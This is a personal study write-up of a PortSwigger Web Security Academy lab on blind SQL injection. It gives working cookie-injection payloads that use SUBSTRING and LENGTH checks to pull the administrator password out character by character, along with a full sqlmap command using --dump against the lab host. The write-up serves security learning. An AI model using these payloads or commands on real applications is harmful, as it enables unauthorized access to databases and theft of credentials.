> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-8.md).

# Lab 8

**Blind SQLi** = the app is still vulnerable but **you can't see any output**.

"Many techniques such as `UNION` attacks are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used."

To do this, start with the following input:

`xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm`

SUBSTRING(string, start\_position, length)

{% hint style="info" %}
UNION → you see the actual data on screen\
Blind → data never shows → you ask "is it this?"\
page behavior = your only feedback\
guess character by character
{% endhint %}

### Solving it with sqlmap

<figure><img src="/files/e01YaevCtv93XNeBrYJL" alt=""><figcaption></figcaption></figure>

session: ITQxyBeiaCEhZD8DJaB11a8hODwryZEW

TrackingId: CBrrMC2qgtnU38HW

sqlmap -u "<https://0ad2004d0354a94d806c7610007b005f.web-security-academy.net/>" --cookie="TrackingId=CBrrMC2qgtnU38HW\*; session=ITQxyBeiaCEhZD8DJaB11a8hODwryZEW" --level=3 --technique=B --dump

#### Key flags explained

| Flag                         | Meaning                                          |
| ---------------------------- | ------------------------------------------------ |
| `--cookie="TrackingId=xyz*"` | the `*` tells sqlmap this is the injection point |
| `--level=3`                  | more thorough testing                            |
| `--technique=B`              | Boolean-based blind only                         |
| `--dump`                     | dump all data it finds                           |

The `*` tells sqlmap **exactly where to inject** inside the cookie value.

sqlmap sees two cookie parameters: `TrackingId` and `session`. It would try injecting into both, guessing where the vulnerability is. However, we specify to inject right after TrackingId.

TrackingId=CBrrMC2qgtnU38HW' AND '1'='1\
TrackingId=CBrrMC2qgtnU38HW' AND '1'='2\
TrackingId=CBrrMC2qgtnU38HW' AND SUBSTRING(...)='a

<figure><img src="/files/9rTDn8jZzxRUFDefGitW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Lajll4RPmRBp82WsvQ4Q" alt=""><figcaption></figcaption></figure>

### Solving it manually&#x20;

<figure><img src="/files/eezomKPvWjZQg9aEzE9F" alt=""><figcaption></figcaption></figure>

Make sure to not include a " ' " after the 1. This will make it "1'".&#x20;

<figure><img src="/files/sfZqXDGG8KhXNHo2TMsa" alt=""><figcaption></figcaption></figure>

We now it processes this, great!

<figure><img src="/files/cGDMTUE0hxc1snTu6CQA" alt=""><figcaption></figcaption></figure>

This confirms that there is a administrator as a username. Now we move on to brute-forcing it.&#x20;

```
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
```

SELECT 'a' FROM users\
WHERE username='administrator'\
AND LENGTH(password)>1

`TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a`

We figure out the amount of characters the password has - which ends up being 20.

Next, is determining the actual characters, one by one. \ <br>

<figure><img src="/files/ovhMqwuPaFqsvhote09f" alt=""><figcaption></figcaption></figure>

Don't forget to use grep!

<figure><img src="/files/eLs0DweTwOHDWorvK30w" alt=""><figcaption></figcaption></figure>

`TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§`